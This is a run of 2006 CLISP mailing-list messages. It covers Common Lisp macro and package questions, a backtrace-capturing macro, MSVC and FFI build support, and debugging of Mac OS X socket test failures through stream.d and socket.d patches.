
Perhaps you intended to use
(defmacro test-a () '*a*) ; note quote
Try it out.

Your original macro inserts the literal value of *a* each time it's expanded, instead of a reference to *a* with the quoting version.

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So after some thought, I came up with this instead:

(with-output-to-string (s)
 (block nil
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                                (sys::print-backtrace :out s)
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       (error "foo"))))
=> ".....[giant backtrace omitted]....."

This accomplishes what I want, but it seems hackish. Am I missing a more
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(with-output-to-string (s)
  (let ((*error-output* s))
    (abort-on-error (error "foo"))))
=>

I can see that clisp aborts to the toplevel without finishing
with-output-to-string, which is why the form returns nothing. I confess
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ampy@ich.dvo.ru wrote:
>I prefer MSVC version because:
>1. MSVC6 is the tool for the main project at my job.
[...]
>I believe, as a multi - platform project, CLISP shouldn't
>drop MSVS support.
Ok. I also saw that e.g. Bruno Haible did important modifications last year to still enable compilation with MSVC, so the CLISP team should continue to support it.

And you guys can try out how MSVC behaves with CLISP CVS right now, that would give me feedback:

o I just pushed some patches to have FFI:s/uint be compatible with the C long long type function argument and return conventions.  Pascal Bourguignon reported this incompatibility over a year ago.  CFFI disabled long-long support as a consequence.

o I discovered a long standing bug in ffcall that probably lead all MS-VC builds not having ffi:s/uint64 support.  That was plain stupid, it should have worked for years.  

Please build and report whether
a) ffi:s/uint64 <-> long long works for you
b) MS-VC works well with ffi:s/uint64 now.
I think I need to add more testcases for ffi:s/uint64.

Arseny, if you can confirm that MS-VC6 works fine these days, maybe you could close bug #1122606?

Thanks for your help,
	Jorg.


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> >I believe, as a multi - platform project, CLISP shouldn't
> >drop MSVS support.

I'm not sure, but doesn't Microsoft forbid to create GPL applications with
their tools?

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Date: Tue Feb  7 15:31:04 2006
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Scott Williams writes:
> So after some thought, I came up with this instead:
> 
> (with-output-to-string (s)
>  (block nil
>     (handler-bind ((t #'(lambda (condition)
>                                 (sys::print-backtrace :out s)
>                                 (fresh-line s)
>                                 (sys::pretty-print-condition condition s)
>                                 (return))))
>        (error "foo"))))
> => ".....[giant backtrace omitted]....."
> 
> This accomplishes what I want, but it seems hackish. 

Yes it seems hackish.   You've forgotten the most important part: abstraction.

  (collecting-backtrace (error "foo"))  ---> result-list ; nil-or-backtrace

Better, isn't it?




;; I would write it as:

(defmacro collecting-backtrace (&body body)
  (let ((s (gensym)) (b (gensym)))
    `(block ,b
       (handler-bind
           ((t (lambda (condition)
                 (return-from 
                  ,b 
                   (values nil 
                           #+clisp (with-output-to-string (,s)
                                     (sys::print-backtrace :out ,s)
                                     (fresh-line ,s)
                                     (sys::pretty-print-condition condition ,s))
                           #-clisp
                           (format nil
                             "I don't know how to generate a backtrace on ~A"
                             (lisp-implementation-type)))))))
         (values (multiple-value-list (progn ,@body)) nil)))))


[16]> (collecting-backtrace (values 1 2 3))
(1 2 3) ;
NIL
[17]> (collecting-backtrace (values 1 (error "Bad") 3))
NIL ;
"<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK> 3
...
Printed 16 frames
Bad"
[18]> 



With you can use for example as:

(multiple-value-bind (results backtrace) (collecting-backtrace (do-something))
  (if backtrace
      (we-got-error backtrace)
      (apply (function we-got-results) results)))

without losing any information.



> Am I missing a more obvious solution?

It doesn't matter.  From now on, it's abstracted. You just write
(collecting-backtrace ...) in your program, and you assume everything
works well.  If you come with a better implementation, you just have
to change the macro in one place.

-- 
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Date: Tue Feb  7 15:37:03 2006
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The current Oracle module for clisp doesn't support DBMS_ALERTS.  I'm
hacking up some code that I'd like to have signalled on row insertion
events.  Is there a module available that will handle DBMS_ALERTS (or
will I have to resort to enhancing the existing version)?

thx -

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Much better! Thanks!

Pascal Bourguignon wrote:

>Scott Williams writes:
>  
>
>>So after some thought, I came up with this instead:
>>
>>(with-output-to-string (s)
>> (block nil
>>    (handler-bind ((t #'(lambda (condition)
>>                                (sys::print-backtrace :out s)
>>                                (fresh-line s)
>>                                (sys::pretty-print-condition condition s)
>>                                (return))))
>>       (error "foo"))))
>>=> ".....[giant backtrace omitted]....."
>>
>>This accomplishes what I want, but it seems hackish. 
>>    
>>
>
>Yes it seems hackish.   You've forgotten the most important part: abstraction.
>
>  (collecting-backtrace (error "foo"))  ---> result-list ; nil-or-backtrace
>
>Better, isn't it?
>
>
>
>
>;; I would write it as:
>
>(defmacro collecting-backtrace (&body body)
>  (let ((s (gensym)) (b (gensym)))
>    `(block ,b
>       (handler-bind
>           ((t (lambda (condition)
>                 (return-from 
>                  ,b 
>                   (values nil 
>                           #+clisp (with-output-to-string (,s)
>                                     (sys::print-backtrace :out ,s)
>                                     (fresh-line ,s)
>                                     (sys::pretty-print-condition condition ,s))
>                           #-clisp
>                           (format nil
>                             "I don't know how to generate a backtrace on ~A"
>                             (lisp-implementation-type)))))))
>         (values (multiple-value-list (progn ,@body)) nil)))))
>
>
>[16]> (collecting-backtrace (values 1 2 3))
>(1 2 3) ;
>NIL
>[17]> (collecting-backtrace (values 1 (error "Bad") 3))
>NIL ;
>"<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK> 3
>...
>Printed 16 frames
>Bad"
>[18]> 
>
>
>
>With you can use for example as:
>
>(multiple-value-bind (results backtrace) (collecting-backtrace (do-something))
>  (if backtrace
>      (we-got-error backtrace)
>      (apply (function we-got-results) results)))
>
>without losing any information.
>
>
>
>  
>
>>Am I missing a more obvious solution?
>>    
>>
>
>It doesn't matter.  From now on, it's abstracted. You just write
>(collecting-backtrace ...) in your program, and you assume everything
>works well.  If you come with a better implementation, you just have
>to change the macro in one place.
>
>  
>


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Hi clisp-list@lists.sourceforge.net

The :executable keyword to saveinitmem is a great enhancement since it 
avoids workarounds like concatenating
   #!/usr/bin/clisp -norc -x "(init)" -M
in front of memory dumps or making separate one-line script files like
   #!/usr/bin/clisp -norc -x "(init)" -M my.mem

Actually, :executable almost allows me to make the users of my programs 
think that they are using 'normal' programs, not Lisp programs.

But when I use :executable, I have to tell my users to invoke my programs 
with "--" as first parameter. Or else they get Lisp error messages. Below, 
I have included an example where I define "echo" so that
   echo -- abc
answers "abc". Unfortunately,
   echo abc
answers LOAD: A file with name abc does not exist

Do you know a way to specify an implicit "--" in front of the arguments 
the user types on the command line?

Cheers,
Klaus

---

$ clisp -q -norc
[1]> (defun init () (princ (car *args*)) (quit))
INIT
[2]> (saveinitmem "echo" :init-function 'init
:quiet t :norc t :executable t :keep-global-handlers nil)
1911560 ;
524288
[3]> (quit)
$ ./echo -- abc
abc
$ ./echo abc
*** - LOAD: A file with name abc does not exist
$ ./echo -abc
GNU CLISP: invalid argument: '-abc'
GNU CLISP: use '-h' for help
$


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Date: Wed Feb  8 14:16:08 2006
X-Original-Date: Wed, 8 Feb 2006 17:14:21 -0500 (EST)

Hi all,

I'm learning packages the hard way: I created a symbol conflict.  I sat
down and read chapter 21 of PCL.  When I tried to reload my project after
adding a defpackage and in-package expressions, I got an error in clisp
(2.38).  I reduced to something post-able.

This works:

[1] (defmacro clisp-error (a)
  (with-gensyms ("make-error" b c)
    `(,a ,b ,c)))
CLISP-ERROR

However, when I try and do it in a package, it fails:

[2]> (defpackage :my-test-pkg
  (:use :common-lisp))
#<PACKAGE MY-TEST-PKG>
[3]> (in-package :my-test-pkg)
#<PACKAGE MY-TEST-PKG>
MY-TEST-PKG[4]> (defmacro clisp-error (a)
  (with-gensyms ("make-error" b c)
    `(,a ,b ,c)))

*** - SYSTEM::%EXPAND-FORM: invalid form ("make-error" B C)
The following restarts are available:
ABORT          :R1      ABORT
Break 1 MY-TEST-PKG[5]>

This works under sbcl (0.9.6):

* (defpackage :my-test-pkg
  (:use :common-lisp))
#<PACKAGE "MY-TEST-PKG">
* (in-package :my-test-pkg)
#<PACKAGE "MY-TEST-PKG">
* (defmacro with-gensyms (syms &body body)
  "Bind symbols to gensyms.  First sym is a string - the GENSYM prefix.
Inspired by Paul Graham, <On Lisp>, p. 145."
  `(let (,@(mapcar (lambda (sy)
                     `(,sy (gensym ,(concatenate 'string (car syms)
                                                 (symbol-name sy) "-"))))
                   (cdr syms)))
    ,@body))
WITH-GENSYMS
* (defmacro clisp-error (a)
  (with-gensyms ("make-error" b c)
    `(,a ,b ,c)))

CLISP-ERROR
*

So, I'm thinking the problem is in CLISP.  Am I missing something?  When I
first saw the error in my project, it actually displayed PKGNAME::B as
part of the error.

TIA,
Dave



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Date: Wed Feb  8 15:43:01 2006
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David N Murray writes:
> Hi all,
> 
> I'm learning packages the hard way: I created a symbol conflict.  I sat
> down and read chapter 21 of PCL.  When I tried to reload my project after
> adding a defpackage and in-package expressions, I got an error in clisp
> (2.38).  I reduced to something post-able.
> 
> This works:
> 
> [1] (defmacro clisp-error (a)
>   (with-gensyms ("make-error" b c)
>     `(,a ,b ,c)))
> CLISP-ERROR
> 
> However, when I try and do it in a package, it fails:
> 
> [2]> (defpackage :my-test-pkg
>   (:use :common-lisp))
> #<PACKAGE MY-TEST-PKG>
> [3]> (in-package :my-test-pkg)
> #<PACKAGE MY-TEST-PKG>
> MY-TEST-PKG[4]> (defmacro clisp-error (a)
>   (with-gensyms ("make-error" b c)
>     `(,a ,b ,c)))
> 
> *** - SYSTEM::%EXPAND-FORM: invalid form ("make-error" B C)
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 MY-TEST-PKG[5]>
> 
> This works under sbcl (0.9.6):

No.  That is, if "This" designate the three forms you gave to the
clisp REPL, instead of the four forms you gave to the sbcl REPL.
 
> * (defpackage :my-test-pkg
>   (:use :common-lisp))
> #<PACKAGE "MY-TEST-PKG">
> * (in-package :my-test-pkg)
> #<PACKAGE "MY-TEST-PKG">
> * (defmacro with-gensyms (syms &body body)
>   "Bind symbols to gensyms.  First sym is a string - the GENSYM prefix.
> Inspired by Paul Graham, <On Lisp>, p. 145."
>   `(let (,@(mapcar (lambda (sy)
>                      `(,sy (gensym ,(concatenate 'string (car syms)
>                                                  (symbol-name sy) "-"))))
>                    (cdr syms)))
>     ,@body))
> WITH-GENSYMS
> * (defmacro clisp-error (a)
>   (with-gensyms ("make-error" b c)
>     `(,a ,b ,c)))
> 
> CLISP-ERROR
> *
> 
> So, I'm thinking the problem is in CLISP.  

No.


> Am I missing something?  

Yes.  Try to give the same input to both implementations.



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On Feb 9, Pascal Bourguignon scribed:

[snip]
> >
> > So, I'm thinking the problem is in CLISP.
>
> No.
>
>
> > Am I missing something?
>
> Yes.  Try to give the same input to both implementations.
>

Thanks for the feedback.

SBCL doesn't define with-gensyms, which is why I gave sbcl the 4
expressions.  If I try and define with-gensyms to clisp, I get a package
is locked error.  However, if I do it after my defpackage, it works, which
was your suggestion.

Based on Jeff's suggestion, I understand what my problem is.  When I did
my defpackage and did not use :ext I am no longer importing the standard
packages that clisp defines for :cl-user (section 11.2 of the
Implementation Notes).  with-gensyms was no longer 'defined' after my
defpackage was evaluated.

Thanks,
Dave


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I use the following two definitions (simplified here) to dynamically name a
new global parameter, create a hash table as the parameter's value, and
assign the second parameter to the hash table's key, value:

(defun make-var (&key var-name value)
    (defparameter var-name (make-hash-table :test #'equal))
        (set-prop var-name 'value value))       

(defun set-prop (var-name prop-name prop-value)
    (setf (gethash prop-name var-name) prop-value))

This works fine:
(make-var :var-name "*a*" :value 10)

However, if I try to retrieve the value by:
(gethash 'value *a*)

I get the following error:
ERROR: The variable *a* is unbound

Any thoughts would be greatly appreciated?

	

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spazzsloth writes:
> 
> I use the following two definitions (simplified here) to dynamically name a
> new global parameter, create a hash table as the parameter's value, and
> assign the second parameter to the hash table's key, value:
> 
> (defun make-var (&key var-name value)
>     (defparameter var-name (make-hash-table :test #'equal))
>         (set-prop var-name 'value value))       

Indent properly (configure your editor to avoid tabulations)!

(defun make-var (&key var-name value)
   (defparameter var-name (make-hash-table :test #'equal))
   (set-prop var-name 'value value))


DEFPARAMETER is not a function, it's a macro.
Its specification says that its first and third arguments don't get
evaluated, only its second argument.  
Therefore, you are defining a parameter named VAR-NAME, not one named
as the value of the variable var-name.


> (defun set-prop (var-name prop-name prop-value)
>     (setf (gethash prop-name var-name) prop-value))
> 
> This works fine:
> (make-var :var-name "*a*" :value 10)

Why are you giving a string as variable name?  In lisp, variables are
named with symbols, not strings...
 

> However, if I try to retrieve the value by:
> (gethash 'value *a*)
> 
> I get the following error:
> ERROR: The variable *a* is unbound
> 
> Any thoughts would be greatly appreciated?


You could use:

(defun make-var (&key var-name value)
   (eval `(defparameter ,var-name (make-hash-table :test #'equal)))
   (set-prop var-name 'value value))

or:

(defun make-var (&key var-name value)
   (proclaim `(special ,var-name))
   (setf (symbol-value var-name) (make-hash-table :test #'equal))
   (setf (documentation var-name 'variable) "A variable made by MAKE-VAR")
   (set-prop var-name 'value value))


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Okay, my bad.  Yes, I am clearly a novice and did not realize what this forum
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You're welcome.  It is the most fun language to learn.
Oh, I surely meant (set-prop ',var-name 'value ,value)
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   From: Pascal Bourguignon <pjb@informatimago.com>
   To: spazzsloth <kaonashi@gmail.com>
   Date: Sun, 12 Feb 2006 19:01:24 +0100
...
   (defun make-var (&key var-name value)
      (proclaim `(special ,var-name))
      (setf (symbol-value var-name) (make-hash-table :test #'equal))
      (setf (documentation var-name 'variable) "A variable made by MAKE-VAR")
      (set-prop var-name 'value value))
...

perhaps better as

(defmacro make-var (&key var-name value)
  `(progn
     (defparameter ,var-name (make-hash-table :test #'equal))
     (set-prop ,var-name 'value ,value)))

(defun set-prop (var-name prop-name prop-value)
    (setf (gethash prop-name var-name) prop-value))

or better yet (defstruct var ...) and (setf (var ...)  ...) etc. but
isn't this more a deployment and debugging list than a tutorial list?
Most users who think they want globals are novices
who have yet to learn better ways.

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I just joined the list because I saw the same "UNIX ERROR 49", etc. on make
check with clisp-2.38 that others are seeing on Macs. The twist is that I
still run OS X 10.3.9.

I read through the thread to the best of my ability, and found a patch for
socket.d. Has this proven to be the solution for this problem? Where is
there a fresh copy of the patch?

Thanks for any help.

Joe




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Joe Koski writes:
>I just joined the list because I saw the same "UNIX ERROR 49", 
>etc. on make
>check with clisp-2.38 that others are seeing on Macs. The 
>twist is that I still run OS X 10.3.9.

>I read through the thread to the best of my ability, and found 
>a patch for
>socket.d. Has this proven to be the solution for this problem? Where is
>there a fresh copy of the patch?

I don't know which patch you refer to.
What I can see in src/ChangeLog is that there's a single change w.r.t. sockets (file src/stream.d, changes SOCKET-SERVER) past the 2.38 release.  You may wish to apply this patch and see if it helps.

I must say that this whole thread confused me, I have no access to a Mac anyway, so I mostly skimmed over the thread.

The last e-mail I see is from Sam Steingold, 16th of January:
>> * Dan Starr <qifgnee@rneguyvax.arg> [2006-01-15 10:28:37 -0500]:
>> The diminished sockets.erg file follows ...
>file:line is not captured in sockets.erg

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Joerg-Cyril,

The Darwin UNIX of Mac OS X, based on BSD via the NEXT computer, is just
different enough from other systems (e.g. Linux) to drive Mac users of
open-source software crazy. Sometimes things build, other times you have big
problems. Fink is supposed to solve those problems, but it is often several
versions behind. I read the January e-mails that you cite, and I was hoping
that a resolution to the problem had developed. Apparently no final solution
has been reported.

I assume the patch to sockets.d or stream.d that you mention is in your
development CVS. Getting all the magic incantations to obtain the correct
CVS file can be difficult for non-developers such as myself. If someone
would send me the appropriate patches as an e-mail attachment, I would be
willing to try them and report. I tried getting the sockets.d patch from the
e-mail archive, but apparently I mangled it when I copied it, because errors
were reported by the patch routine.

Joe


on 2/13/06 9:49 AM, Hoehle, Joerg-Cyril at Joerg-Cyril.Hoehle@t-systems.com
wrote:

> 
> Joe Koski writes:
>> I just joined the list because I saw the same "UNIX ERROR 49",
>> etc. on make
>> check with clisp-2.38 that others are seeing on Macs. The
>> twist is that I still run OS X 10.3.9.
> 
>> I read through the thread to the best of my ability, and found
>> a patch for
>> socket.d. Has this proven to be the solution for this problem? Where is
>> there a fresh copy of the patch?
> 
> I don't know which patch you refer to.
> What I can see in src/ChangeLog is that there's a single change w.r.t. sockets
> (file src/stream.d, changes SOCKET-SERVER) past the 2.38 release.  You may
> wish to apply this patch and see if it helps.
> 
> I must say that this whole thread confused me, I have no access to a Mac
> anyway, so I mostly skimmed over the thread.
> 
> The last e-mail I see is from Sam Steingold, 16th of January:
>>> * Dan Starr <qifgnee@rneguyvax.arg> [2006-01-15 10:28:37 -0500]:
>>> The diminished sockets.erg file follows ...
>> file:line is not captured in sockets.erg
> 
> Regards,
> Jorg Hohle.




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Joe Koski writes:
>The Darwin UNIX of Mac OS X, based on BSD via the NEXT 
>computer, is just
>different enough from other systems (e.g. Linux) to drive Mac users of
>open-source software crazy.
Hmm, I'd expect this to be typical symptoms of something just a bit different from mainstream, and other people need to learn & acknowledge that there's something beside the way Linux does things.  Anyway, I would have thought that there are enough BSD systems around (NetBSD, OpenBSD, FreeBSD) who also use OSS, so acceptance of the existance of difference should be there already.
IMHO, things will settle with time: quality of the Mac/UNIX environment will improve.

>I assume the patch to sockets.d or stream.d that you mention is in your
>development CVS.
Silly me, I only talked about "src/Changelog"
Please go to
http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d
(e.g. from the CLISP home page: browse CVS)
and more precisely
http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.558
or
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(i.e. play with the format options and you'll get something that you can use with patch or patch by hand).

Alternatively, maybe the other Mac users can report whether the issue is still open or not and provide better halp than I can do.

Regards,
	Jorg Hohle.


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Jorg Hohle, 

OK, I found the diff text file, and saved it as a patch for stream.d. I then
applied the patch to stream.d, deleted stream.o, and ran make again. There
was much verbiage during the compilation of stream.d, but no fatal errors.
Now, when I run make check, I have success:

finished  48 files:               0 errors out of  10,372 tests
  1                   alltest:    0 errors out of    631 tests
  2                     array:    0 errors out of    290 tests
  3                  backquot:    0 errors out of     88 tests
  4                    bin-io:    0 errors out of     15 tests
  5                characters:    0 errors out of    221 tests
  6                      clos:    0 errors out of    482 tests
  7                   defhash:    0 errors out of      6 tests
  8                  encoding:    0 errors out of     31 tests
  9                    eval20:    0 errors out of     21 tests
 10                    floeps:    0 errors out of     20 tests
 11                    format:    0 errors out of    259 tests
 12                 genstream:    0 errors out of     14 tests
 13                  hashlong:    0 errors out of     10 tests
 14                 hashtable:    0 errors out of      7 tests
 15                    iofkts:    0 errors out of    218 tests
 16                    lambda:    0 errors out of     89 tests
 17                  lists151:    0 errors out of    201 tests
 18                  lists152:    0 errors out of    255 tests
 19                  lists153:    0 errors out of      1 test
 20                  lists154:    0 errors out of     46 tests
 21                  lists155:    0 errors out of     25 tests
 22                  lists156:    0 errors out of     20 tests
 23                      loop:    0 errors out of    130 tests
 24                    macro8:    0 errors out of    193 tests
 25                       map:    0 errors out of     64 tests
 26                       mop:    0 errors out of    217 tests
 27                    number:    0 errors out of  3,655 tests
 28                   number2:    0 errors out of    252 tests
 29                    pack11:    0 errors out of    202 tests
 30                      path:    0 errors out of    141 tests
 31                      setf:    0 errors out of    167 tests
 32                    socket:    0 errors out of     60 tests
 33                   steele7:    0 errors out of     85 tests
 34                   streams:    0 errors out of    363 tests
 35               streamslong:    0 errors out of     14 tests
 36                   strings:    0 errors out of    407 tests
 37                  symbol10:    0 errors out of    147 tests
 38                   symbols:    0 errors out of      5 tests
 39                      time:    0 errors out of     23 tests
 40                      type:    0 errors out of    272 tests
 41                      weak:    0 errors out of    120 tests
 42                  weakhash:    0 errors out of     25 tests
 43                 weakhash2:    0 errors out of     46 tests
 44                      bind:    0 errors out of     67 tests
 45                   weakptr:    0 errors out of    240 tests
 46                conditions:    0 errors out of     89 tests
 47                  restarts:    0 errors out of     66 tests
 48                  excepsit:    0 errors out of    372 tests
Real time: 208.93788 sec.
Run time: 188.22 sec.
Space: 731690008 Bytes
GC: 984, GC time: 50.73 sec.
0
Bye.
(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg;
echo "To see which tests failed, type" ; echo "    cat "`pwd`"/*.erg" ; exit
1)
echo "Test passed."
Test passed.

Yes, the patch in CVS does work on my Mac. Now I'll install the new clisp,
and attempt to build maxima-5.9.2.

Many thanks.

Joe



on 2/14/06 2:03 AM, Hoehle, Joerg-Cyril at Joerg-Cyril.Hoehle@t-systems.com
wrote:

> Joe Koski writes:
>> The Darwin UNIX of Mac OS X, based on BSD via the NEXT
>> computer, is just
>> different enough from other systems (e.g. Linux) to drive Mac users of
>> open-source software crazy.
> Hmm, I'd expect this to be typical symptoms of something just a bit different
> from mainstream, and other people need to learn & acknowledge that there's
> something beside the way Linux does things.  Anyway, I would have thought that
> there are enough BSD systems around (NetBSD, OpenBSD, FreeBSD) who also use
> OSS, so acceptance of the existance of difference should be there already.
> IMHO, things will settle with time: quality of the Mac/UNIX environment will
> improve.
> 
>> I assume the patch to sockets.d or stream.d that you mention is in your
>> development CVS.
> Silly me, I only talked about "src/Changelog"
> Please go to
> http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d
> (e.g. from the CLISP home page: browse CVS)
> and more precisely
> http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.5
> 58
> or
> http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.5
> 58&diff_format=u
> (i.e. play with the format options and you'll get something that you can use
> with patch or patch by hand).
> 
> Alternatively, maybe the other Mac users can report whether the issue is still
> open or not and provide better halp than I can do.
> 
> Regards,
> Jorg Hohle.




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Thanks for a really incredible implementation of Common Lisp:  complete, 
stable, easy to install, well-documented!

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on 2/14/06 11:05 AM, Hoehle, Joerg-Cyril at Joerg-Cyril.Hoehle@t-systems.com
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> Joe,
> 
> could you please check Sam's comment below? It seems the Mac situation is not
> that easy.
> I'm surprised because I understood that you had used the clisp-2.38 release,
> watched the socket tests fail, applied the single patch from the CVS tree and
> saw everything work fine.  However this CVS patch is not at all Sam
> Steingold's patch below!
> What version of CLISP did you use exactly?
> Could do perform Sam's test below?
> 
> Thanks for your help,
> Jorg Hohle.

Joerg,

Your synopsis of what I did is correct. I did not patch sockets.d, only
stream.d, and my problems went away. I could not get Sam Steingold's patch
from the e-mail to work because of patch errors, so I abandoned it.

I would not be surprised to see that a different or additional patch is
required for 10.4.x.  This has happened before with other open source
packages. (It's the main reason I still run 10.3.9.) Apple keeps changing
their Xcode developer tools, including gcc, because they build OS X with it
and Apple and others build commercial applications with it. Most often,
build problems are with linking and loading because of Apple's continuing
changes to the gcc back end.

I'll try Sam's test by rebuilding clisp in a separate directory and report.
I don't want to change my newly installed clisp-2.38/maxima-5.9.2
configuration that works. In the maxima build with clisp-2.38, I encountered
only minor problems not related to clisp, and the new maxima passes "make
check" without problems.

Joe

> 
> -----Ursprungliche Nachricht-----
> Von: Sam Steingold [mailto:sds@gnu.org]
> Gesendet: Dienstag, 14. Februar 2006 18:53
> An: Hohle, Jorg-Cyril
> Betreff: Re: fwd: [clisp-list] Re: Mac OS X make check
> 
> 
> Jorg,
> no so fast.
> I did not commit the appended patch because the osx users did not do
> the testing I asked them to do.
> this means that the old broken osx still has broken clisp and if Joe
> Koski does not require the appended patch this just means that OS X
> 10.3.9 is good while OS X 10.4.3 is broken.
> it is up to you to check in my appended patch or not, but I recommend
> against it unless all OS X users do to the following tests (requested on
> clisp-list and clisp-devel many times):
> 0. record OS version.
> 1. make sure that sockets break without the patch by running
>    ./clisp -norc -i tests/tests -x '(run-test "tests/socket")'
> 2. apply the patch, make sure the test works
> 3. modify socket.d and replace "0" with "1" in
> #define FILL0(s)  memset((void*)&s,0,sizeof(s))
>    so that it reads
> #define FILL0(s)  memset((void*)&s,1,sizeof(s))
>    and make sure that the test fails in an identical way to <1> above.
> 
> when you gather the results of these tests, you will know which OS X
> versions need it and which do not, and you should record that in the
> long comment in socket.d before the FILL0 definition.




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on 2/14/06 11:05 AM, Hoehle, Joerg-Cyril at Joerg-Cyril.Hoehle@t-systems.com
wrote:

> Joe,
> 
> could you please check Sam's comment below? It seems the Mac situation is not
> that easy.
> I'm surprised because I understood that you had used the clisp-2.38 release,
> watched the socket tests fail, applied the single patch from the CVS tree and
> saw everything work fine.  However this CVS patch is not at all Sam
> Steingold's patch below!
> What version of CLISP did you use exactly?
> Could do perform Sam's test below?
> 
> Thanks for your help,
> Jorg Hohle.
> 
> -----Ursprungliche Nachricht-----
> Von: Sam Steingold [mailto:sds@gnu.org]
> Gesendet: Dienstag, 14. Februar 2006 18:53
> An: Hohle, Jorg-Cyril
> Betreff: Re: fwd: [clisp-list] Re: Mac OS X make check
> 
> 
> Jorg,
> no so fast.
> I did not commit the appended patch because the osx users did not do
> the testing I asked them to do.
> this means that the old broken osx still has broken clisp and if Joe
> Koski does not require the appended patch this just means that OS X
> 10.3.9 is good while OS X 10.4.3 is broken.
> it is up to you to check in my appended patch or not, but I recommend
> against it unless all OS X users do to the following tests (requested on
> clisp-list and clisp-devel many times):
> 0. record OS version.
> 1. make sure that sockets break without the patch by running
>    ./clisp -norc -i tests/tests -x '(run-test "tests/socket")'
> 2. apply the patch, make sure the test works
> 3. modify socket.d and replace "0" with "1" in
> #define FILL0(s)  memset((void*)&s,0,sizeof(s))
>    so that it reads
> #define FILL0(s)  memset((void*)&s,1,sizeof(s))
>    and make sure that the test fails in an identical way to <1> above.
> 
> when you gather the results of these tests, you will know which OS X
> versions need it and which do not, and you should record that in the
> long comment in socket.d before the FILL0 definition.

Jorg, Sam,

I created a separate test directory and rebuilt clisp-2.38 on my Mac OS X
10.3.9 with Xcode tools 1.5 (Apple's gcc-3.3).

The first build went as before. When I tried:
  ./clisp -norc -i tests/tests -x '(run-test "tests/socket")'

I got:

;; Loading file /Tools/clisp-2.38-test/src/tests/tests.fas ...
;; Loaded file /Tools/clisp-2.38-test/src/tests/tests.fas
RUN-TEST: started #<INPUT BUFFERED FILE-STREAM CHARACTER
#P"tests/socket.tst" @1>
*** - invalid byte #xC3 in CHARSET:ASCII conversion

Bye.

Which did not look correct, so I did a full make check and go the usual "32
errors out of     60 tests". (The error in ./clisp -norc -i tests/tests -x
'(run-test "tests/socket")' was consistent after all rebuilds, regardless of
what happened with "make check".)

When I applied the socket.d patch attached to Sam's e-mail, with #define
FILL0(s)  memset((void*)&s,0,sizeof(s)), deleted socket.o and redid make, I
got 
"0 errors out of     60 tests"

In other words, success.

Then I changed to #define FILL0(s)  memset((void*)&s,1,sizeof(s)), and I
went back to "32 errors out of     60 tests".

That's what I saw. I hope that it helps. It seems that Sam's socket.d patch
will work on my system, and if it works on 10.4.x, then only one patch is
required. I don't know why the stream.d patch worked, but it got me going.
Thanks.

I'll keep the test directory for a few days. Let me know if there are other
tests.

Joe







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Joe Koski wrote:
>I created a separate test directory and rebuilt clisp-2.38 on 
>my Mac OS X 10.3.9 with Xcode tools 1.5 (Apple's gcc-3.3).
Thank you for your effort and data point.

[...]
>I hope that it helps. It seems that Sam's socket.d patch
>will work on my system, and if it works on 10.4.x, then only 
>one patch is
>required. I don't know why the stream.d patch worked, but it 
>got me going.

If I understand you well, *either* one of
a) the past-2.38 CVS patch to stream.d  *or*
b) Sam's FILL0 patch attachment to socket.d
causes the test failure count to go down from 32 to 0!?!

Quiet weird at a first glance. Thanks again for reporting this.

Do other Mac users (e.g. on OS X 10.4.y) observe similar behaviour?

Regards,
	Jorg Hohle.


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Jorg, Sam,

Some comments at the end from the Apple side of the house. Could this
explain why the stream.d fix worked?

Joe
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On Feb 15, 2006, at 8:54 AM, Joe Koski wrote:

> on 2/12/06 1:49 PM, Joe Koski at jkoski11@comcast.net wrote:
>> Thanks Kaelin.
>>
>> After reading your e-mail, I decided that the make file should work
>> as is
>> and without changes, so I exported an ORGANIZATION= (just in case)
>> and ran
>> make, which completed without errors, and did "make check" again.
>> Now all my
>> errors are in one test routine called "socket" with 32 errors out
>> of 60
>> tests. All of several thousand other "make check" tests are OK.
>> This sounds
>> like I need to ask the clisp folks about what's happening. I'll
>> report back
>> only if it is Mac OS relevant.
>>
>> Joe
>>
>
> The clisp-2.38 folks were aware of the "socket" problem, which they
> claim is
> because "Older BSDs (specifically, Mac OS X 10.4.3) require that
> sockaddr is
> filled with 0 before use (i.e., unused fields must be 0)". They have
> a patch
> in case anyone wants to try it with OS X 10.4.x. Their patch works
> with my
> OS X 10.3.9. My maxima-5.9.2, which is why I needed clisp, also
> works as
> advertised.

FWIW, the fields are *NOT* unused in case of simultaneous initiation
of a TCP connection, per RFC 793, page 31, figure 8.  Some TCP state
machines are insufficiently complex to handle this case correctly.  I
guess it would be possible to modify the MacOS X state machine to work
in all cases but that particular one, with uninitialized field
contents, but it's probably better to zero the structures.

-- Terry

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The default, unlike impnotes claims, seems to be interface 127.0.0.1 :
  (SOCKET:SOCKET-SERVER 2223)
  #<SOCKET-SERVER 127.0.0.1:2223>
I can connect to this at 127.0.0.1 but not at the other address I
exected.

 (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0")
 *** - UNIX error 98 (EADDRINUSE): Address already in use
Interestingly, netstat in this case tells me that I actually now HAVE
that port and that it is open to 0.0.0.0.  But that's not very useful
if I can't get the result back.

 (SOCKET:SOCKET-SERVER 2225 :interface "10.0.0.10")
 #<SOCKET-SERVER 127.0.0.1:2225>
Why is this?

 (SOCKET:SOCKET-SERVER 2226 :interface "foo")
 #<SOCKET-SERVER 127.0.0.1:2226>
That also looks like a bug to me.

 (lisp-implementation-version)
 "2.38 (2006-01-24) (built 3347122501) (memory 3349203607)"
I'm doing this in linux.  


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Don,

>The default, unlike impnotes claims, seems to be interface 127.0.0.1 :
There is one patch in CVS post 2.38 which seems related.
Could you try that out?

http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.558
or
http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.558&diff_format=u

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Hoehle, Joerg-Cyril writes:
 > Don,
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 > >The default, unlike impnotes claims, seems to be interface 127.0.0.1 :
 > There is one patch in CVS post 2.38 which seems related.
 > Could you try that out?

